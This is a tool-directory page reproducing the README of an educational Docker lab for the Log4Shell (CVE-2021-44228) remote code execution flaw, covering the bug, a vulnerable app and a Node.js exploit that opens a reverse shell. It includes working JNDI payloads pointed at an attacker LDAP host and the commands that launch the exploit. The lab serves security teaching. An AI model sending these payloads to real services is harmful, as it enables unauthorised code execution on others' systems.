Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
EXPLOIT-CVE-2021-44228 — Docker-based educational lab demonstrating Log4Shell (CVE-2021-44228) RCE exploitation with a vulnerable Java application, LDAP redirector, and automated exploit script. | Kitploit
Tools/GitHubGitHub/joaovicdev/exploit-cve-2021-44228
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubjoaovicdev/exploit-cve-2021-44228

EXPLOIT-CVE-2021-44228

Docker-based educational lab demonstrating Log4Shell (CVE-2021-44228) RCE exploitation with a vulnerable Java application, LDAP redirector, and automated exploit script.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
45 months agoNot yet reviewed
Share

CVE-2021-44228 — Log4Shell PoC Lab

DISCLAIMER

This lab was created exclusively for educational and security research purposes. All traffic occurs within an isolated Docker network. Do not use this material on real systems or without explicit authorization. Misuse may be a crime. Use responsibly.


What is CVE-2021-44228?

Log4Shell is a critical vulnerability (CVSS 10.0) discovered in December 2021 in the Apache Log4j 2 logging library, widely used in Java applications.

How the vulnerability occurs

Log4j has an expression interpolation feature: when logging a message, it evaluates strings in the ${...} format. For example, ${java:version} is replaced by the Java version at runtime.

The problem lies in support for the JNDI (Java Naming and Directory Interface) protocol. When Log4j encounters an expression like:

root@kitploit:~
${jndi:ldap://attacker.com/exploit}

it instructs the JVM to make an LDAP query to the attacker's server. The server responds with a reference to a remote Java class — and the JVM , resulting in .

downloads and executes that class
Remote Code Execution (RCE)

The attack vector is simple: any field logged by the server (HTTP headers, form fields, cookies, etc.) can be the entry point for the payload.

Affected versions

  • Log4j 2.0-beta9 up to 2.14.1
  • Fixed in version 2.15.0 (and definitively in 2.17.0)

Vulnerable Environment

The lab simulates a real Java application using vulnerable versions.

ComponentVersionWhy it is vulnerable
Apache Log4j2.14.1Evaluates ${jndi:...} without restrictions
JDK1.8.0_181Prior to patch 8u191 which sets trustURLCodebase=false
Spring Boot2.5.6Just the web framework; the vuln is in Log4j

Vulnerable endpoint

root@kitploit:~
GET http://localhost:8080/log

The following headers are logged directly by Log4j — any one of them can be the injection vector:

  • X-Api-Version
  • User-Agent
  • X-Auth-Token

Attacker infrastructure (container attacker)

ServicePortFunction
marshalsec (LDAP)1389Receives the JNDI lookup and redirects to the HTTP server
Python HTTP server8888Serves Exploit.class to the victim's JVM
netcat listener9001Receives the reverse shell connection

How to use the exploit

Prerequisites

  • Docker and Docker Compose installed
  • Node.js installed (for the exploit)

1. Start the full environment

root@kitploit:~
docker-compose up --build

Wait until you see in the logs:

root@kitploit:~
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds

2. Trigger the exploit

In another terminal, run the Node.js exploit:

root@kitploit:~
node exploit/exploit.js

Expected output:

root@kitploit:~
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target  : http://localhost:8080/log
[*] Header  : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}

[+] Response : 200 OK
[+] Body     : logged

[+] Payload delivered — check the attacker nc listener on port 9001

3. Verify execution

Observe the terminal where docker-compose is running. In the attacker container logs you will see the reverse shell connection arriving on port 9001.

To confirm touch /tmp/pwned inside the vulnerable app:

root@kitploit:~
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned

Custom arguments (optional)

root@kitploit:~
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"

By Guaxinim | Cyber Security Research

Download Tool